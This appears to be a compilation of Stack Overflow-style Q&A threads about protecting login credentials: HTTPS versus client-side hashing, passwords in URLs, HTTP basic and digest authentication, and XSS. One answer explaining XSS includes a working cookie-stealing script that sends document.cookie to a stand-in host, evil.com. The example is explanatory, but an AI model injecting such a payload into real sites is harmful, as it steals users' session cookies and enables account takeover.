I am reading about various algorithms in javascript to encrypt username and passwords before sending to the server (so they cannot be read on the network).
I have seen demos where plain text is used for the password and the author has simply said 'in production I would use https as I would never send plain text'.
Not being a web developer, should I think about https or think about encrypting the information (username/password) I send?
Are the costs involved in setting up HTTPS that forces users not to use it? I know that once https is in place, everything is secure.
I guess I a missing some theory on the benefits of https and how it ties in with encryption for username/password.
Related
I know xss attack usees input points of a page to insert javascript code into the page or into server db.
In both cases the javascript code will be activated soon or later on some events.
I imagine an attacker that uses a browser to put javascript code into a server db using maybe an input name.
Another client(victim) makes a request to the same server , maybe it asks for the user classific.
The attacker is in classific , so the attacker name(actually evil javascript code) is inserted in the page the victim requested.
The question is what information can the attacker steal and how?
I imagine the attacker wants to get cookies. And I imagine he wants include one his evil script with the javascript code injected.
In this way he can pass to the jsp/asp or whatever information about cookies.
So if the site is in https , it's possible to include scripts which are in http server?
I don't believe the attacker uses https server to store his scripts because it could be soon easily arrested.
Or maybe there are other ways for the attacker to get information?
I imagine the attacker wants to get cookies. And I imagine he wants include one his evil script with the javascript code injected. In this way he can pass to the jsp/asp or whatever information about cookies.
The question is what information can the attacker steal and how?
Yes, the easiest type of attack would be to steal non HttpOnly cookies.
<script>
new Image().src = 'https://www.evil.com/?' + escape(document.cookie);
</script>
Other attacks include injecting JavaScript keyloggers that send key strokes back to the attacker in a similar fashion, or redirecting the user to phishing sites or to sites containing drive by downloads.
So if the site is in https , it's possible to include scripts which are in http server? I don't believe the attacker uses https server to store his scripts because it could be soon easily arrested.
Interesting question. Yes, the site being HTTPS does not reduce the chances of an XSS flaw. They would need to host their attacking page on a HTTPS enabled web server with a certificate trusted by their victim's machine. This could either be the attackers own machine with a cheap SSL certificate paid for by BitCoin where only the domain is validated (not the organisation), it could be an already compromised machine (e.g. if the attacker already has control over another public website), or it could be a stolen certificate from another hacked site that the attacker is now using on their domain (in combination with a DNS hijack or MITM). Edit: Now it is possible to get free certs from the likes of Let's Encrypt and similar.
Little security is required to get a Domain Validated certificate:
Low assurance certificates include only your domain name in the
certificate. Certificate Authorities usually verify that you own the
domain name by checking the WHOIS record. The certificate can be
issued instantly and is cheaper but, as the name implies, these
certificates provide less assurance to your customers.
You can use a Web Application Firewall to scan and block XSS, including in cookies (though the latter can cause false positives) https://medium.com/p/5d4b1d33219a/edit
For AWS WAF refer to https://aws.amazon.com/waf/
I am considering installing SSL/TLS for my domain. There are two questions that have been bothering me:
Is there any scenario where a https connection can fallback to http? So, for e.g. if my ajax looks something like this
$.post("https://foo.com", function(){
});
Is there any chance this could change to
$.post("http://foo.com", function(){
});
and even if it does would my domain be still accesible at http://foo.com ?
Next I have read extensively about using SSL/TLS and from what I have read it seems to be fairly accurate to assume that if I have this enabled and even if I send the user credentials in plain text, it's still secure (There would be encryption with salt and everything on the server of course). To what extent is this true and would creating a hash on the client and then sending it over https be any more secure?
Update: If sending plaintext over SSL is secure enough, then what really is the point of using things like cnonce ? Isn't it just unnecessary overhead on the client?
No, HTTPS never falls back to HTTP automatically. It would take deliberate action by the user. If you're just going to a web page by putting its URL into the address bar, this is easy; for form submission it's harder.
Yes, sending plain text over SSL is fine. In fact, sending a hashed password doesn't really increase security much at all -- if someone manages to sniff the connection and gets the hashed password, that's all they need to be able to login to the site. It has one small advantage: if the user uses the same password at multiple sites, learning the hashed password for one site doesn't help them get into another site that uses a different (or no) hash. And it's not likely to be feasible to send salted hashes, since the client doesn't know the salt.
A cnonce adds an extra level of protection. If, somehow, someone manages to crack the SSL encryption, the cnonce prevents them from getting a usable password from it. This basically addresses the point I made above about why sending a hashed password doesn't help: what you need is something that changes from session to session, and a cnonce provides this.
See https://security.stackexchange.com/questions/3001/what-is-the-use-of-a-client-nonce
How to Encrypt Client side login before sending to server ?
You should use HTTPS.
Building security by yourself is hard, and you are very likely to get it wrong.
You should stick with the systems that the experts use.
On the server, remember to hash and salt the passwords, preferably using bcrypt.
There's one very simple solution. SSL. Ensure that all your login activities are served via https:// URLs.
The way that you do this, at least the "setting the server up" part vary depending on what web server you're using. You'd be better off asking a question of that nature on http://www.serverfault.com/
You can only use https - any client side encryption would be viewable on the client and therefore useless. There is SO question on this: password encryption at client side
You should really use HTTPS, but if you can't use HTTPS then the alternative is to create a hash.
Server generates a random 'salt' for the session
JavaScript on client-side creates a cryptographically secure hash of the user's password and the salt.
Hash is sent to the server, you can then retrieve the password from the database, create a hash using the salt for the session and the password from the DB and check if it is the same as the one sent from the client. - If it is then the password is a match.
An example of using JavaScript to protect passwords: http://pajhome.org.uk/crypt/md5/auth.html
Scenario:
I have a ASP.Net / Silverlight website with webservices for supporting the Silverlight apps with data. The website uses forms authentication, and thus the webservices can also authenticate requests.
Now I would like to pull some data from this system to a Android application. I could implement code for running the forms login, and storing the authentication cookie, but it would actually be much simpler to send the username and password in the webservice url and authenticate each call. I don't really see a big problem with this as the communication is SSL encrypted, but I'm open to be conviced otherwise ;)
What do you think ? Bad idea / not so bad idea ?
Conclusion:
After reviewing the answers the only really valid argument against name / pass in the url request string is that it's stored in the server log files. Granted it's my server and if that server is hacked the the data it stores will also be hacked, but I still don't like passwords showing up in logs. (Thats why they are stored salted and encrypted)
Solution:
I will post the username and passord with the request. Minimal extra work, and more secure.
See Are querystring parameters secure in HTTPS (HTTP + SSL)?
Everything will be encrypted, but the URLs, along with the query string (and thus the passwords) will show up in the server log files.
Bad Idea: The contents of your post are encrypted and though the URL parameters may be encrypted as well, they could still be visible to third-party trackers, server logs or some other monitoring software that can directly sniff your traffic. It is just not a good idea to open up a potential security hole in this way.
Users do tend to copy-and-paste URLs straight from their address bar into emails, blogs, etc., and save them in bookmarks, and so on.
And things like plugins, or even other software that reads, for example, window properties (alternate shells, theme managers, accessibility software) could end up with the info. And they might, for example, crash and automatically send crashdumps back to their developers.
And worms far less sophisticated than keloggers - like things that take screendumps - can get passwords this way. Sometimes even security software, for example if deployed in a corporate network.
And if the user has a local proxy, then they might be communicating in plaintext with the proxy which in turn is talking in SSL (not the way it's supposed to be done, but it happens).
And for these and more reasons, URLs with usernames and passwords, that used to be standard - such as ftp URLs with the username and password in the authority segment - are now typically forbidden by browsers.
https://www.rfc-editor.org/rfc/rfc3986#section-7.5
So, an emphatic NO, DO NOT DO THIS.
It is always good programing practice to not provide delicate info like username and password
in the URL. No matter how good a site is it can be compromised. So why provide with more info?
Is there any way (apart from HTTP authentication, which I gather is inherently insecure over the Internet?) for a "real life" website to handle logins and authentication rather than the traditional way, using session cookies?
HTTP digest authentication (which is quite a different beast from HTTP basic authentication) is quite secure over straight HTTP, and not at all difficult to implement on the server. Nothing is sent over the wire that could reveal what the password is, just information that allows the client to demonstrate to the server that they have the correct password.
If you want a decent explanation of how to implement HTTP digest authentication in your application, Paul James has an excellent article on it.
The only real problem with HTTP authentication is in the browsers themselves: the UI is terrible, but that can be overcome with some Javascript.
Addendum: This answer is almost a decade old. These days, you should really be using HTTPS regardless of any other considerations.
HTTP basic authentication is perfectly safe when used with a SSL (https://) website since all HTTP traffic including the credentials will be encrypted. One subjective drawback though is when using this method your users will need to interact with their browser's authentication popup in order to log in to your site.
To be clear, the only REAL way to do this is through HTTPS.
But, since I assume this is not an option, and I also assume you are looking for a "fully managed login" system, I continue:
Other than HTTPS it is possible to use JavaScript to do secure hashing of passwords on the client side, to prevent revealing plain text passwords over-the-wire, but this is only a half-solution.
The problems with this approach are:
A replay attack is still a viable option.
Only users with JavaScript enabled would be able to auth in this way.
Another approach is a more complicated challenge / response mechanism:
Send a "Challenge" along with the login page.
Calculate the hash of the Password + Challenge client side.
Submit the login.
Calculate the hash of the Password + Challenge (which MUST NOT be trusted in the page request) on the server side, and compare.
And the problems with that:
Only users with JavaScript enabled would be able to auth in this way.
The PLAINTEXT password must be stored on the server to validate the challenge response, and must be encrypted on disk or otherwise protected.
Now, to be fair, problem #2 is not as big of a danger as it sounds. In fact when you instead use HASH authentication, the hash itself is raised to the level of "key".
At this point it is fairly secure to use a cookie to store a randomly generated login ReferrenceID, similar to their session ID, but the server may want to encrypt using the referring IP as part of the IV or KEY to prevent other users from Hijacking the ReferrenceID.
Anyways, I hope that provides a little bit of direction in the way of your design.
HTTP authentication is not insecure when using HTTPs.
Firstly, HTTP Auth is secure over SSL other than the fact that you can't implement a true "Logout" functionality. User need to close their browser, which is pretty bad.
Secondly, It you need to use HTTPS in all cases to make it secure, after that you got Basic Auth similar stuff such as "Digest" and "NTLM Auth".
When you're using https, you can also install a certificate in your client's browser and verify that. myopenid offers this for their OpenID accounts. I have one and it works really well (from the client-side point of view).
Using SSL for encryption in combination with HttpOnly Cookies to help prevent XSS is your best bet for using cookies. I'm not going to say it is bullet-proof, though.